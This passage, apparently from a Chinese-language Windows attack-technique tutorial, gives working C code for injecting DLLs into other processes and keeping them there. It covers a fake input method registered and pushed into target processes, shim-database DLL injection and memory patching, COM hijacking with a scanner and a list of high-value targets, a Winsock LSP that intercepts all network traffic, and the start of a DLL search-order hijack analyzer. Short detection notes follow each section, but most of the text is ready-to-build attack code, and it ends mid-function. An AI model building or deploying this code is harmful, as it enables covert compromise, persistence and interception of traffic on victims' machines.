#define FAKE_IME_KEY L"E0200804" // 自定义键盘布局 ID
#define FAKE_IME_NAME L"Fake Research IME"

// === 安装器代码 ===

BOOL RegisterFakeIme(const WCHAR* imeDllPath) {
    WCHAR keyPath[256];
    swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);

    HKEY hKey;
    DWORD disposition;
    LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
    if (ret != ERROR_SUCCESS) return FALSE;

    // 设置输入法文件名(只需要文件名,不需要完整路径,DLL 需放在 System32)
    WCHAR* dllName = wcsrchr(imeDllPath, L'\\');
    dllName = dllName ? dllName + 1 : (WCHAR*)imeDllPath;

    RegSetValueExW(hKey, L"Ime File", 0, REG_SZ, (BYTE*)dllName, (DWORD)((wcslen(dllName) + 1) * sizeof(WCHAR)));
    RegSetValueExW(hKey, L"Layout Text", 0, REG_SZ, (BYTE*)FAKE_IME_NAME, sizeof(FAKE_IME_NAME));

    WCHAR layoutFile[] = L"kbdus.dll";
    RegSetValueExW(hKey, L"Layout File", 0, REG_SZ, (BYTE*)layoutFile, sizeof(layoutFile));

    RegCloseKey(hKey);

    // 复制 DLL 到 System32
    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    WCHAR destPath[MAX_PATH];
    swprintf_s(destPath, MAX_PATH, L"%s\\%s", sysDir, dllName);
    CopyFileW(imeDllPath, destPath, FALSE);

    return TRUE;
}

BOOL ActivateFakeIme(DWORD targetTid) {
    // 加载输入法到指定线程
    HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE);
    if (!hkl) return FALSE;

    if (targetTid != 0) {
        // 向目标线程发送输入法切换消息
        PostThreadMessageW(targetTid, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
    }

    return TRUE;
}

BOOL InjectViaIme(DWORD targetPid) {
    // 找到目标进程的主线程
    HWND hWnd = NULL;
    DWORD tid = 0;

    // 枚举目标进程的窗口
    typedef struct { DWORD pid; HWND hwnd; } FIND_WND_DATA;
    FIND_WND_DATA data = { targetPid, NULL };

    EnumWindows([](HWND hwnd, LPARAM lp) -> BOOL {
        FIND_WND_DATA* d = (FIND_WND_DATA*)lp;
        DWORD pid;
        GetWindowThreadProcessId(hwnd, &pid);
        if (pid == d->pid && IsWindowVisible(hwnd)) {
            d->hwnd = hwnd;
            return FALSE;
        }
        return TRUE;
    }, (LPARAM)&data);

    if (!data.hwnd) return FALSE;

    tid = GetWindowThreadProcessId(data.hwnd, NULL);

    // 激活伪造输入法到目标线程
    HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE | KLF_REORDER);
    if (!hkl) return FALSE;

    // 通过 WM_INPUTLANGCHANGEREQUEST 触发目标进程加载 IME DLL
    PostMessageW(data.hwnd, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);

    return TRUE;
}

void UnregisterFakeIme() {
    UnloadKeyboardLayout(LoadKeyboardLayoutW(FAKE_IME_KEY, 0));

    WCHAR keyPath[256];
    swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
    RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath);
}

// === IME DLL 代码 ===
// 编译为 fakeime.dll,需导出 IME 标准接口

#ifdef BUILD_IME_DLL

static BOOL g_payloadExecuted = FALSE;

void ImePayload() {
    if (g_payloadExecuted) return;
    g_payloadExecuted = TRUE;

    // 检查是否在目标进程中
    char exePath[MAX_PATH];
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    // 执行实际 payload:内存 Hook、信息窃取等
    // 此处 IME DLL 已被系统加载到目标进程中

    // 示例:记录按键到共享内存
    HANDLE hMap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, "Global\\ImeHookShared");
    if (hMap) {
        char* pBuf = (char*)MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 4096);
        if (pBuf) {
            // 写入当前进程信息
            sprintf_s(pBuf, 4096, "Injected into PID: %lu EXE: %s", GetCurrentProcessId(), exePath);
            UnmapViewOfFile(pBuf);
        }
    }
}

// IME 标准导出函数
__declspec(dllexport) BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPWSTR lpszUIClass, LPCWSTR lpszOption) {
    ImePayload();
    lpIMEInfo->dwPrivateDataSize = 0;
    lpIMEInfo->fdwProperty = IME_PROP_UNICODE | IME_PROP_AT_CARET;
    lpIMEInfo->fdwConversionCaps = 0;
    lpIMEInfo->fdwSentenceCaps = 0;
    lpIMEInfo->fdwUICaps = 0;
    lpIMEInfo->fdwSCSCaps = 0;
    lpIMEInfo->fdwSelectCaps = 0;
    wcscpy_s(lpszUIClass, 64, L"FakeIMEUI");
    return TRUE;
}

__declspec(dllexport) BOOL WINAPI ImeConfigure(HKL hKL, HWND hWnd, DWORD dwMode, LPVOID lpData) { return FALSE; }
__declspec(dllexport) DWORD WINAPI ImeConversionList(HIMC hIMC, LPCWSTR lpSrc, LPCANDIDATELIST lpDst, DWORD dwBufLen, UINT uFlag) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeDestroy(UINT uForce) { return TRUE; }
__declspec(dllexport) LRESULT WINAPI ImeEscape(HIMC hIMC, UINT uSubFunc, LPVOID lpData) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeProcessKey(HIMC hIMC, UINT uVirKey, LPARAM lParam, CONST LPBYTE lpbKeyState) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSelect(HIMC hIMC, BOOL fSelect) { return TRUE; }
__declspec(dllexport) BOOL WINAPI ImeSetActiveContext(HIMC hIMC, BOOL fFlag) { return TRUE; }
__declspec(dllexport) UINT WINAPI ImeToAsciiEx(UINT uVirKey, UINT uScanCode, CONST LPBYTE lpbKeyState, LPDWORD lpdwTransBuf, UINT fuState, HIMC hIMC) { return 0; }
__declspec(dllexport) BOOL WINAPI NotifyIME(HIMC hIMC, DWORD dwAction, DWORD dwIndex, DWORD dwValue) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSetCompositionString(HIMC hIMC, DWORD dwIndex, LPCVOID lpComp, DWORD dwCompLen, LPCVOID lpRead, DWORD dwReadLen) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeRegisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeUnregisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) UINT WINAPI ImeGetRegisterWordStyle(UINT nItem, LPSTYLEBUFW lpStyleBuf) { return 0; }
__declspec(dllexport) UINT WINAPI ImeEnumRegisterWord(REGISTERWORDENUMPROCW lpfnEnumProc, LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString, LPVOID lpData) { return 0; }

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        ImePayload();
    }
    return TRUE;
}
#endif

检测方法

  • 枚举 Keyboard Layouts 注册表键,对比系统默认输入法列表
  • 检查 IME DLL 是否有有效的数字签名
  • 监控 imm32.dllImmInstallIME / LoadKeyboardLayout 调用
  • TSF 注入检测:枚举 COM 注册的 Text Input Processor

1.14 Shim Engine Hook(应用兼容性引擎)

原理

Windows Application Compatibility Framework 允许通过 SDB 文件对应用程序做内存补丁。可重定向 API 调用、修改内存代码(InMemoryPatch)、注入 DLL(InjectDll shim)。系统在进程创建时由 ntdll!LdrpInitShimEngine 自动应用匹配的 Shim。

完整实现

#include <windows.h>
#include <stdio.h>

typedef HANDLE (WINAPI *SdbCreateDatabase_t)(LPCWSTR path, DWORD type);
typedef void   (WINAPI *SdbCloseDatabaseWrite_t)(HANDLE db);
typedef DWORD  (WINAPI *SdbBeginWriteListTag_t)(HANDLE db, DWORD tag);
typedef BOOL   (WINAPI *SdbEndWriteListTag_t)(HANDLE db, DWORD tagId);
typedef BOOL   (WINAPI *SdbWriteStringTag_t)(HANDLE db, DWORD tag, LPCWSTR value);
typedef BOOL   (WINAPI *SdbWriteDWORDTag_t)(HANDLE db, DWORD tag, DWORD value);
typedef BOOL   (WINAPI *SdbWriteBinaryTag_t)(HANDLE db, DWORD tag, BYTE* data, DWORD size);

#define TAG_DATABASE     0x7001
#define TAG_LIBRARY      0x7002
#define TAG_EXE          0x7007
#define TAG_SHIM_REF     0x7008
#define TAG_PATCH_REF    0x7009
#define TAG_PATCH        0x700A
#define TAG_NAME         0x6001
#define TAG_APP_NAME     0x6006
#define TAG_DLLFILE      0x6003
#define TAG_OS_PLATFORM  0x4023
#define TAG_PATCH_BITS   0x9002
#define TAG_COMMAND_LINE 0x6008

BOOL CreateInjectDllSdb(const WCHAR* sdbPath, const WCHAR* targetExe, const WCHAR* dllToInject) {
    HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
    if (!hApphelp) return FALSE;

    SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
    SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
    SdbBeginWriteListTag_t pBeginList = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
    SdbEndWriteListTag_t pEndList = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
    SdbWriteStringTag_t pWriteString = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
    SdbWriteDWORDTag_t pWriteDword = (SdbWriteDWORDTag_t)GetProcAddress(hApphelp, "SdbWriteDWORDTag");

    if (!pCreate || !pClose || !pBeginList || !pEndList || !pWriteString) {
        FreeLibrary(hApphelp);
        return FALSE;
    }

    HANDLE hSdb = pCreate(sdbPath, 2);
    if (!hSdb || hSdb == INVALID_HANDLE_VALUE) { FreeLibrary(hApphelp); return FALSE; }

    DWORD dbTag = pBeginList(hSdb, TAG_DATABASE);
    pWriteString(hSdb, TAG_NAME, L"CustomShimDB");
    pWriteDword(hSdb, TAG_OS_PLATFORM, 1);

    DWORD libTag = pBeginList(hSdb, TAG_LIBRARY);
    DWORD shimTag = pBeginList(hSdb, 0x700A);
    pWriteString(hSdb, TAG_NAME, L"InjectDll");
    pWriteString(hSdb, TAG_DLLFILE, L"InjectDll.dll");
    pEndList(hSdb, shimTag);
    pEndList(hSdb, libTag);

    DWORD exeTag = pBeginList(hSdb, TAG_EXE);
    pWriteString(hSdb, TAG_NAME, targetExe);
    pWriteString(hSdb, TAG_APP_NAME, L"TargetApp");
    DWORD refTag = pBeginList(hSdb, TAG_SHIM_REF);
    pWriteString(hSdb, TAG_NAME, L"InjectDll");
    pWriteString(hSdb, TAG_COMMAND_LINE, dllToInject);
    pEndList(hSdb, refTag);
    pEndList(hSdb, exeTag);
    pEndList(hSdb, dbTag);

    pClose(hSdb);
    FreeLibrary(hApphelp);
    return TRUE;
}

BOOL InstallSdb(const WCHAR* sdbPath) {
    HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
    if (!hApphelp) return FALSE;
    typedef BOOL (WINAPI *SdbInstallDB_t)(LPCWSTR, DWORD);
    SdbInstallDB_t p = (SdbInstallDB_t)GetProcAddress(hApphelp, "SdbInstallDB");
    BOOL r = p ? p(sdbPath, 0) : FALSE;
    FreeLibrary(hApphelp);
    return r;
}

typedef struct { DWORD rva; BYTE* patchBytes; DWORD patchSize; } MEMORY_PATCH;

BOOL CreateMemPatchSdb(const WCHAR* sdbPath, const WCHAR* targetExe, MEMORY_PATCH* patches, DWORD count) {
    HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
    if (!hApphelp) return FALSE;
    SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
    SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
    SdbBeginWriteListTag_t pBegin = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
    SdbEndWriteListTag_t pEnd = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
    SdbWriteStringTag_t pStr = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
    SdbWriteBinaryTag_t pBin = (SdbWriteBinaryTag_t)GetProcAddress(hApphelp, "SdbWriteBinaryTag");

    HANDLE hSdb = pCreate(sdbPath, 2);
    if (!hSdb) { FreeLibrary(hApphelp); return FALSE; }

    DWORD db = pBegin(hSdb, TAG_DATABASE);
    pStr(hSdb, TAG_NAME, L"MemPatchDB");
    DWORD lib = pBegin(hSdb, TAG_LIBRARY);
    for (DWORD i = 0; i < count; i++) {
        DWORD pt = pBegin(hSdb, TAG_PATCH);
        WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
        pStr(hSdb, TAG_NAME, nm);
        DWORD sz = 8 + patches[i].patchSize;
        BYTE* bits = (BYTE*)calloc(1, sz);
        *(DWORD*)bits = patches[i].rva;
        *(DWORD*)(bits+4) = patches[i].patchSize;
        memcpy(bits+8, patches[i].patchBytes, patches[i].patchSize);
        pBin(hSdb, TAG_PATCH_BITS, bits, sz);
        free(bits);
        pEnd(hSdb, pt);
    }
    pEnd(hSdb, lib);
    DWORD exe = pBegin(hSdb, TAG_EXE);
    pStr(hSdb, TAG_NAME, targetExe);
    for (DWORD i = 0; i < count; i++) {
        DWORD ref = pBegin(hSdb, TAG_PATCH_REF);
        WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
        pStr(hSdb, TAG_NAME, nm);
        pEnd(hSdb, ref);
    }
    pEnd(hSdb, exe);
    pEnd(hSdb, db);
    pClose(hSdb);
    FreeLibrary(hApphelp);
    return TRUE;
}

int wmain() {
    CreateInjectDllSdb(L"C:\\inject.sdb", L"target.exe", L"C:\\payload.dll");
    InstallSdb(L"C:\\inject.sdb");
    BYTE nops[] = {0x90, 0x90, 0x90, 0x90, 0x90};
    MEMORY_PATCH p = {0x1234, nops, 5};
    CreateMemPatchSdb(L"C:\\patch.sdb", L"target.exe", &p, 1);
    return 0;
}

检测方法

  • 枚举 HKLM\...\AppCompatFlags\InstalledSDB
  • 检查 %windir%\AppPatch\Custom 目录
  • 监控 sdbinst.exe 调用
  • sdb2xml 反编译

1.15 COM Hijacking(COM 对象劫持)

原理

Windows COM 通过注册表 CLSID 查找组件 DLL 路径。HKCU 优先于 HKLM,因此无需管理员权限即可劫持。系统中存在大量 Abandoned COM 对象(DLL 已删除但注册表未清理),可直接植入 DLL 利用。

完整实现

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")

typedef struct { WCHAR clsid[64]; WCHAR dll[MAX_PATH]; BOOL abandoned; } COM_TARGET;

DWORD ScanAbandonedCom(COM_TARGET* targets, DWORD max) {
    DWORD found = 0;
    HKEY hRoot;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Classes\\CLSID", 0, KEY_READ, &hRoot)) return 0;
    DWORD idx = 0; WCHAR clsid[64]; DWORD sz;
    while (found < max) {
        sz = 64;
        if (RegEnumKeyExW(hRoot, idx++, clsid, &sz, NULL, NULL, NULL, NULL)) break;
        WCHAR sub[128]; swprintf_s(sub, 128, L"%s\\InprocServer32", clsid);
        HKEY hSub;
        if (!RegOpenKeyExW(hRoot, sub, 0, KEY_READ, &hSub)) {
            WCHAR dll[MAX_PATH] = {0}; DWORD ds = sizeof(dll);
            if (!RegQueryValueExW(hSub, NULL, NULL, NULL, (BYTE*)dll, &ds)) {
                WCHAR exp[MAX_PATH]; ExpandEnvironmentStringsW(dll, exp, MAX_PATH);
                if (GetFileAttributesW(exp) == INVALID_FILE_ATTRIBUTES) {
                    wcscpy_s(targets[found].clsid, 64, clsid);
                    wcscpy_s(targets[found].dll, MAX_PATH, exp);
                    targets[found].abandoned = TRUE;
                    found++;
                }
            }
            RegCloseKey(hSub);
        }
    }
    RegCloseKey(hRoot);
    return found;
}

BOOL InstallComHijack(const WCHAR* clsid, const WCHAR* malDll) {
    WCHAR key[256];
    swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s\\InprocServer32", clsid);
    HKEY hk;
    if (RegCreateKeyExW(HKEY_CURRENT_USER, key, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)) return FALSE;
    RegSetValueExW(hk, NULL, 0, REG_SZ, (BYTE*)malDll, (DWORD)((wcslen(malDll)+1)*2));
    WCHAR tm[] = L"Both";
    RegSetValueExW(hk, L"ThreadingModel", 0, REG_SZ, (BYTE*)tm, sizeof(tm));
    RegCloseKey(hk);
    return TRUE;
}

BOOL RemoveComHijack(const WCHAR* clsid) {
    WCHAR key[256];
    swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s", clsid);
    return !RegDeleteTreeW(HKEY_CURRENT_USER, key);
}

// 代理 DLL 模板:转发原始 COM 接口,同时执行 payload
#ifdef BUILD_COM_PROXY
static HMODULE g_hOrig = NULL;
typedef HRESULT(WINAPI *DllGetClassObject_t)(REFCLSID, REFIID, LPVOID*);

void ComPayload() {
    // DLL 已加载到目标进程(explorer.exe / svchost.exe 等)
    // 可执行任意操作:Hook API、读取进程内存、建立 C2 通信等
    char exe[MAX_PATH];
    GetModuleFileNameA(NULL, exe, MAX_PATH);
    // 根据宿主进程决定行为
}

__declspec(dllexport) HRESULT WINAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
    if (!g_hOrig) g_hOrig = LoadLibraryW(L"C:\\Windows\\System32\\original_com.dll");
    if (g_hOrig) {
        DllGetClassObject_t pOrig = (DllGetClassObject_t)GetProcAddress(g_hOrig, "DllGetClassObject");
        if (pOrig) return pOrig(rclsid, riid, ppv);
    }
    return 0x80040111L; // CLASS_E_CLASSNOTAVAILABLE
}

__declspec(dllexport) HRESULT WINAPI DllCanUnloadNow(void) { return S_FALSE; }
__declspec(dllexport) HRESULT WINAPI DllRegisterServer(void) { return S_OK; }
__declspec(dllexport) HRESULT WINAPI DllUnregisterServer(void) { return S_OK; }

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        ComPayload();
    } else if (reason == DLL_PROCESS_DETACH) {
        if (g_hOrig) FreeLibrary(g_hOrig);
    }
    return TRUE;
}
#endif

// 高价值劫持目标
void PrintTargets() {
    const WCHAR* interesting[][2] = {
        {L"{BCDE0395-E52F-467C-8E3D-C4579291692E}", L"MMDeviceEnumerator"},
        {L"{4590F811-1D3A-11D0-891F-00AA004B2E24}", L"WbemLocator (WMI)"},
        {L"{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A}", L"TaskScheduler"},
        {L"{0002DF01-0000-0000-C000-000000000046}", L"InternetExplorer"},
    };
    for (int i = 0; i < 4; i++)
        wprintf(L"  %s -> %s\n", interesting[i][0], interesting[i][1]);
}

int wmain() {
    COM_TARGET t[100]; DWORD n = ScanAbandonedCom(t, 100);
    wprintf(L"Found %lu abandoned COM objects:\n", n);
    for (DWORD i = 0; i < n && i < 15; i++)
        wprintf(L"  %s -> %s\n", t[i].clsid, t[i].dll);
    wprintf(L"\nHigh-value targets:\n");
    PrintTargets();
    return 0;
}

检测方法

  • 对比 HKCU vs HKLM CLSID 键发现覆盖
  • InprocServer32 DLL 签名验证
  • Sysmon Event 12/13 监控 CLSID 修改
  • 定期扫描 Abandoned COM Keys
  • 使用 OleView 或 COM Hijack 检测工具审计

1.16 Winsock LSP(分层服务提供程序 Hook)

原理

Winsock Layered Service Provider 在 Winsock API 和底层传输协议间插入自定义层。LSP DLL 被自动加载到所有使用网络的进程中(浏览器、游戏、IM 等),可拦截 connect/send/recv 等所有网络操作。通过 WSCInstallProvider API 安装,注册表位于 Protocol_Catalog9

Win10+ 虽已弃用 LSP(推荐 WFP),但为向后兼容仍然支持加载。

完整实现

#include <windows.h>
#include <winsock2.h>
#include <ws2spi.h>
#include <sporder.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "rpcrt4.lib")

BOOL InstallLsp(const WCHAR* dllPath, const WCHAR* lspName) {
    WSADATA wd; WSAStartup(MAKEWORD(2, 2), &wd);

    DWORD bufSize = 0;
    WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
    LPWSAPROTOCOL_INFOW protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
    int protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
    if (protoCount <= 0) { free(protoInfo); return FALSE; }

    DWORD tcpId = 0, udpId = 0;
    for (int i = 0; i < protoCount; i++) {
        if (protoInfo[i].iAddressFamily == AF_INET && protoInfo[i].ProtocolChain.ChainLen == 1) {
            if (protoInfo[i].iProtocol == IPPROTO_TCP) tcpId = protoInfo[i].dwCatalogEntryId;
            if (protoInfo[i].iProtocol == IPPROTO_UDP) udpId = protoInfo[i].dwCatalogEntryId;
        }
    }

    GUID lspGuid; UuidCreate(&lspGuid);
    WSAPROTOCOL_INFOW lspProto = protoInfo[0];
    lspProto.ProtocolChain.ChainLen = LAYERED_PROTOCOL;
    lspProto.dwServiceFlags1 = XP1_IFS_HANDLES;
    wcscpy_s(lspProto.szProtocol, WSAPROTOCOL_LEN + 1, lspName);

    int err = 0;
    if (WSCInstallProvider(&lspGuid, dllPath, &lspProto, 1, &err) == SOCKET_ERROR) {
        free(protoInfo); return FALSE;
    }

    // 重新枚举获取 LSP Catalog ID
    free(protoInfo); bufSize = 0;
    WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
    protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
    protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);

    DWORD lspCatId = 0;
    for (int i = 0; i < protoCount; i++)
        if (!memcmp(&protoInfo[i].ProviderId, &lspGuid, sizeof(GUID)))
            { lspCatId = protoInfo[i].dwCatalogEntryId; break; }

    // 创建协议链条目
    WSAPROTOCOL_INFOW chains[2] = {0}; int chainCount = 0;
    if (tcpId) {
        chains[chainCount] = protoInfo[0];
        chains[chainCount].ProtocolChain.ChainLen = 2;
        chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
        chains[chainCount].ProtocolChain.ChainEntries[1] = tcpId;
        chains[chainCount].iProtocol = IPPROTO_TCP;
        chains[chainCount].iSocketType = SOCK_STREAM;
        chainCount++;
    }
    if (udpId) {
        chains[chainCount] = protoInfo[0];
        chains[chainCount].ProtocolChain.ChainLen = 2;
        chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
        chains[chainCount].ProtocolChain.ChainEntries[1] = udpId;
        chains[chainCount].iProtocol = IPPROTO_UDP;
        chains[chainCount].iSocketType = SOCK_DGRAM;
        chainCount++;
    }

    GUID chainGuid; UuidCreate(&chainGuid);
    WSCInstallProvider(&chainGuid, dllPath, chains, chainCount, &err);

    free(protoInfo);
    WSACleanup();
    return TRUE;
}

// LSP DLL 实现
#ifdef BUILD_LSP_DLL
static WSPPROC_TABLE g_nextTable = {0};

int WSPAPI LSP_WSPConnect(SOCKET s, const struct sockaddr* name, int namelen,
    LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS, LPINT lpErrno) {
    if (name->sa_family == AF_INET) {
        struct sockaddr_in* addr = (struct sockaddr_in*)name;
        USHORT port = ntohs(addr->sin_port);
        ULONG ip = ntohl(addr->sin_addr.s_addr);
        // 记录连接目标 / 阻止特定 IP:Port / 重定向流量
        // if (port == 443 && ip == TARGET_IP) { *lpErrno = WSAECONNREFUSED; return SOCKET_ERROR; }
    }
    return g_nextTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}

int WSPAPI LSP_WSPSend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
    LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped,
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno) {
    // 检查/修改/记录发送数据
    for (DWORD i = 0; i < dwBufferCount; i++) {
        // DLP 检查、关键词过滤、流量镜像等
    }
    return g_nextTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,
        dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}

int WSPAPI LSP_WSPRecv(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
    LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped,
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno) {
    int ret = g_nextTable.lpWSPRecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd,
        lpFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
    if (ret == 0 && lpNumberOfBytesRecvd && *lpNumberOfBytesRecvd > 0) {
        // 检查接收内容、注入数据等
    }
    return ret;
}

int WSPAPI WSPStartup(WORD wVersionRequested, LPWSPDATA lpWSPData,
    LPWSAPROTOCOL_INFOW lpProtocolInfo, WSPUPCALLTABLE UpcallTable, LPWSPPROC_TABLE lpProcTable) {
    DWORD nextCatalogId = lpProtocolInfo->ProtocolChain.ChainEntries[1];

    // 查找下层协议 DLL 路径
    DWORD bufSize = 0;
    WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
    LPWSAPROTOCOL_INFOW protos = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
    int count = WSCEnumProtocols(NULL, protos, &bufSize, NULL);

    WCHAR nextDllPath[MAX_PATH] = {0};
    int pathLen = MAX_PATH, err = 0;
    for (int i = 0; i < count; i++) {
        if (protos[i].dwCatalogEntryId == nextCatalogId) {
            WSCGetProviderPath(&protos[i].ProviderId, nextDllPath, &pathLen, &err);
            break;
        }
    }
    free(protos);

    WCHAR expandedPath[MAX_PATH];
    ExpandEnvironmentStringsW(nextDllPath, expandedPath, MAX_PATH);
    HMODULE hNext = LoadLibraryW(expandedPath);
    if (!hNext) return WSAEPROVIDERFAILEDINIT;

    typedef int(WSPAPI *WSPStartup_t)(WORD, LPWSPDATA, LPWSAPROTOCOL_INFOW, WSPUPCALLTABLE, LPWSPPROC_TABLE);
    WSPStartup_t pNextStartup = (WSPStartup_t)GetProcAddress(hNext, "WSPStartup");
    if (!pNextStartup) return WSAEPROVIDERFAILEDINIT;

    WSAPROTOCOL_INFOW nextInfo = *lpProtocolInfo;
    nextInfo.dwCatalogEntryId = nextCatalogId;
    int ret = pNextStartup(wVersionRequested, lpWSPData, &nextInfo, UpcallTable, lpProcTable);
    if (ret != 0) return ret;

    // 保存下层函数表,替换拦截点
    g_nextTable = *lpProcTable;
    lpProcTable->lpWSPConnect = LSP_WSPConnect;
    lpProcTable->lpWSPSend = LSP_WSPSend;
    lpProcTable->lpWSPRecv = LSP_WSPRecv;
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(hModule);
    return TRUE;
}
#endif

检测方法

  • netsh winsock show catalog 查看已安装 LSP
  • 扫描 Protocol_Catalog9 注册表异常 DLL
  • netsh winsock reset 重置(移除所有第三方 LSP)
  • 现代系统应使用 WFP(内核级)替代

1.17 DLL Search Order Hijacking(DLL 搜索顺序劫持)

原理

Windows 加载 DLL 时按照固定顺序搜索:

  • 应用程序自身目录
  • System32
  • System(16位兼容)
  • Windows 目录
  • 当前工作目录(SafeDllSearchMode 开启时优先级降低)
  • PATH 环境变量目录

在高优先级目录中植入与目标 DLL 同名的文件,即可劫持加载。核心系统 DLL 受 KnownDlls 注册表保护(始终从 System32 加载),但第三方依赖和非 KnownDll 的系统 DLL 仍可被劫持。

完整实现

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment(lib, "dbghelp.lib")

typedef struct {
    WCHAR dllName[MAX_PATH];
    WCHAR plantPath[MAX_PATH];
} HIJACK_OPPORTUNITY;

// 分析 PE 导入表找出可劫持的 DLL
DWORD AnalyzeImports(const WCHAR* pePath, HIJACK_OPPORTUNITY* results, DWORD maxResults) {
    DWORD found = 0;

    HANDLE hFile = CreateFileW(pePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return 0;
    HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hMapping) { CloseHandle(hFile); return 0; }
    LPVOID pBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if (!pBase) { CloseHandle(hMapping); CloseHandle(hFile); return 0; }

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDos->e_lfanew);
    DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (!importRva) goto cleanup;

    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
